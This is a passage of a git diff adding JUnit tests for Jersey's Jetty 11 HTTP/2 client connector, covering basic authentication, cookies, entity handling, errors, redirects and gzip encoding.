org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AuthFilterTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthFilterTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthTest.AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testAuthGetWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testAuthPostWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + } + + + @Test + public void testAuthDeleteWithClientFilter() { + client().register(HttpAuthenticationFeature.basic("name", "password")); + Response response = target("test/filter").request().delete(); + assertEquals(204, response.getStatus()); + } + +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java new file mode 100644 index 00000000000..7fe2edf6e73 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthTest.java @@ -0,0 +1,192 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.util.BasicAuthentication; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.inject.Singleton; +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.WebApplicationException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class AuthTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(AuthTest.class.getName()); + private static final String PATH = "test"; + + @Path("/test") + @Singleton + public static class AuthResource { + + int requestCount = 0; + + @GET + public String get(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return "GET"; + } + + @GET + @Path("filter") + public String getFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return "GET"; + } + + @POST + public String post(@Context HttpHeaders h, String e) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + + return e; + } + + @POST + @Path("filter") + public String postFilter(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + + @DELETE + public void delete(@Context HttpHeaders h) { + requestCount++; + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + assertEquals(1, requestCount); + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } else { + assertTrue(requestCount > 1); + } + } + + @DELETE + @Path("filter") + public void deleteFilter(@Context HttpHeaders h) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + } + + @DELETE + @Path("filter/withEntity") + public String deleteFilterWithEntity(@Context HttpHeaders h, String e) { + String value = h.getRequestHeaders().getFirst("Authorization"); + if (value == null) { + throw new WebApplicationException( + Response.status(401).header("WWW-Authenticate", "Basic realm=\"WallyWorld\"").build()); + } + + return e; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(AuthResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testAuthGet() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthPost() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().post(Entity.text("POST")); + assertEquals("POST", response.readEntity(String.class)); + client.close(); + } + + @Test + public void testAuthDelete() { + ClientConfig config = new ClientConfig(); + config.property(JettyClientProperties.PREEMPTIVE_BASIC_AUTHENTICATION, + new BasicAuthentication(getBaseUri(), "WallyWorld", "name", "password")); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + + Response response = client.target(getBaseUri()).path(PATH).request().delete(); + assertEquals(response.getStatus(), 204); + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java new file mode 100644 index 00000000000..eb1c6539b42 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CookieTest.java @@ -0,0 +1,117 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.JerseyClient; +import org.glassfish.jersey.client.JerseyClientBuilder; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.Cookie; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.NewCookie; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class CookieTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(CookieTest.class.getName()); + + @Path("/") + public static class CookieResource { + @GET + public Response get(@Context HttpHeaders h) { + Cookie c = h.getCookies().get("name"); + String e = (c == null) ? "NO-COOKIE" : c.getValue(); + return Response.ok(e) + .cookie(new NewCookie("name", "value")).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(CookieResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Test + public void testCookieResource() { + ClientConfig config = new ClientConfig(); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + client.close(); + } + + @Test + public void testDisabledCookies() { + ClientConfig cc = new ClientConfig(); + cc.property(JettyClientProperties.DISABLE_COOKIES, true); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("NO-COOKIE", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + if (connector.getCookieStore() != null) { + assertTrue(connector.getCookieStore().getCookies().isEmpty()); + } else { + assertNull(connector.getCookieStore()); + } + client.close(); + } + + @Test + public void testCookies() { + ClientConfig cc = new ClientConfig(); + cc.connectorProvider(new JettyHttp2ConnectorProvider()); + JerseyClient client = JerseyClientBuilder.createClient(cc); + WebTarget r = client.target(getBaseUri()); + + assertEquals("NO-COOKIE", r.request().get(String.class)); + assertEquals("value", r.request().get(String.class)); + + final JettyHttp2Connector connector = (JettyHttp2Connector) client.getConfiguration().getConnector(); + assertNotNull(connector.getCookieStore().getCookies()); + assertEquals(1, connector.getCookieStore().getCookies().size()); + assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java new file mode 100644 index 00000000000..369169a02cb --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/CustomLoggingFilter.java @@ -0,0 +1,64 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.ContainerResponseContext; +import jakarta.ws.rs.container.ContainerResponseFilter; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class CustomLoggingFilter implements ContainerRequestFilter, ContainerResponseFilter, + ClientRequestFilter, ClientResponseFilter { + + static int preFilterCalled = 0; + static int postFilterCalled = 0; + + @Override + public void filter(ClientRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ClientRequestContext context, ClientResponseContext clientResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getConfiguration().getProperty("foo")); + postFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context) throws IOException { + System.out.println("CustomLoggingFilter.preFilter called"); + assertEquals("bar", context.getProperty("foo")); + preFilterCalled++; + } + + @Override + public void filter(ContainerRequestContext context, ContainerResponseContext containerResponseContext) throws IOException { + System.out.println("CustomLoggingFilter.postFilter called"); + assertEquals("bar", context.getProperty("foo")); + postFilterCalled++; + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java new file mode 100644 index 00000000000..0f508ca384d --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/EntityTest.java @@ -0,0 +1,151 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.jackson.JacksonFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.xml.bind.annotation.XmlRootElement; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class EntityTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class EntityResource { + + @GET + public Person get() { + return new Person("John", "Doe"); + } + + @POST + public Person post(Person entity) { + return entity; + } + + } + + @XmlRootElement + public static class Person { + + private String firstName; + private String lastName; + + public Person() { + } + + public Person(String firstName, String lastName) { + this.firstName = firstName; + this.lastName = lastName; + } + + public String getFirstName() { + return firstName; + } + + public void setFirstName(String firstName) { + this.firstName = firstName; + } + + public String getLastName() { + return lastName; + } + + public void setLastName(String lastName) { + this.lastName = lastName; + } + + @Override + public String toString() { + return firstName + " " + lastName; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(EntityResource.class, JacksonFeature.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()) + .register(JacksonFeature.class); + } + + @Test + public void testGet() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async().get().get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().get().get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPost() { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).post(Entity.xml(new Person("John", "Doe"))); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).post(Entity.xml(new Person("John", "Doe"))); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException, TimeoutException { + Response response = target(PATH).request(MediaType.APPLICATION_XML_TYPE).async() + .post(Entity.xml(new Person("John", "Doe"))).get(); + Person person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + response = target(PATH).request(MediaType.APPLICATION_JSON_TYPE).async().post(Entity.xml(new Person("John", "Doe"))) + .get(); + person = response.readEntity(Person.class); + assertEquals("John Doe", person.toString()); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java new file mode 100644 index 00000000000..64d819874df --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ErrorTest.java @@ -0,0 +1,119 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.ClientErrorException; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ErrorTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ErrorTest.class.getName()); + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(ErrorResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + + @Path("/test") + public static class ErrorResource { + @POST + public Response post(String entity) { + return Response.serverError().build(); + } + + @Path("entity") + @POST + public Response postWithEntity(String entity) { + return Response.serverError().entity("error").build(); + } + } + + @Test + public void testPostError() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntity() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } + + @Test + public void testPostErrorAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + } + } + } + + @Test + public void testPostErrorWithEntityAsync() { + WebTarget r = target("test"); + + for (int i = 0; i < 100; i++) { + try { + r.request().async().post(Entity.text("POST")); + } catch (ClientErrorException ex) { + String s = ex.getResponse().readEntity(String.class); + assertEquals("error", s); + } + } + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java new file mode 100644 index 00000000000..2604f9b2df4 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/FollowRedirectsTest.java @@ -0,0 +1,129 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientResponse; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientResponseContext; +import jakarta.ws.rs.client.ClientResponseFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; +import java.io.IOException; +import java.net.URI; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class FollowRedirectsTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(FollowRedirectsTest.class.getName()); + + @Path("/test") + public static class RedirectResource { + @GET + public String get() { + return "GET"; + } + + @GET + @Path("redirect") + public Response redirect() { + return Response.seeOther(UriBuilder.fromResource(RedirectResource.class).build()).build(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(RedirectResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.property(ClientProperties.FOLLOW_REDIRECTS, false); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + private static class RedirectTestFilter implements ClientResponseFilter { + public static final String RESOLVED_URI_HEADER = "resolved-uri"; + + @Override + public void filter(ClientRequestContext requestContext, ClientResponseContext responseContext) throws IOException { + if (responseContext instanceof ClientResponse) { + ClientResponse clientResponse = (ClientResponse) responseContext; + responseContext.getHeaders().putSingle(RESOLVED_URI_HEADER, clientResponse.getResolvedRequestUri().toString()); + } + } + } + + @Test + public void testDoFollow() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client c = ClientBuilder.newClient(config); + WebTarget t = c.target(u); + Response r = t.path("test/redirect") + .register(RedirectTestFilter.class) + .request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + c.close(); + } + + @Test + public void testDoFollowPerRequestOverride() { + WebTarget t = target("test/redirect"); + t.property(ClientProperties.FOLLOW_REDIRECTS, true); + Response r = t.request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDontFollow() { + WebTarget t = target("test/redirect"); + assertEquals(303, t.request().get().getStatus()); + } + + @Test + public void testDontFollowPerRequestOverride() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.FOLLOW_REDIRECTS, true); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + Client client = ClientBuilder.newClient(config); + WebTarget t = client.target(u); + t.property(ClientProperties.FOLLOW_REDIRECTS, false); + Response r = t.path("test/redirect").request().get(); + assertEquals(303, r.getStatus()); + client.close(); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java new file mode 100644 index 00000000000..29bb444014c --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/GZIPContentEncodingTest.java @@ -0,0 +1,100 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.message.GZipEncoder; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.Arrays; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class GZIPContentEncodingTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(EntityTest.class.getName()); + + @Path("/") + public static class Resource { + + @POST + public byte[] post(byte[] content) { + return content; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(Resource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(GZipEncoder.class); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + WebTarget r = target(); + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)); + assertTrue(cr.hasEntity()); + cr.close(); + } + + @Test + public void testPostChunked() { + ClientConfig config = new ClientConfig(); + config.property(ClientProperties.CHUNKED_ENCODING_SIZE, 1024); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + + Client client = ClientBuilder.newClient(config); + WebTarget r = client.target(getBaseUri()); + + byte[] content = new byte[1024 * 1024]; + assertTrue(Arrays.equals(content, + r.request().post(Entity.entity(content, MediaType.APPLICATION_OCTET_STREAM_TYPE)).readEntity(byte[].class))); + + Response cr = r.request().post(Entity.text("POST")); + assertTrue(cr.hasEntity()); + cr.close(); + + client.close(); + } + +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java new file mode 100644 index 00000000000..ac6870a57b1 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HelloWorldTest.java @@ -0,0 +1,220 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import 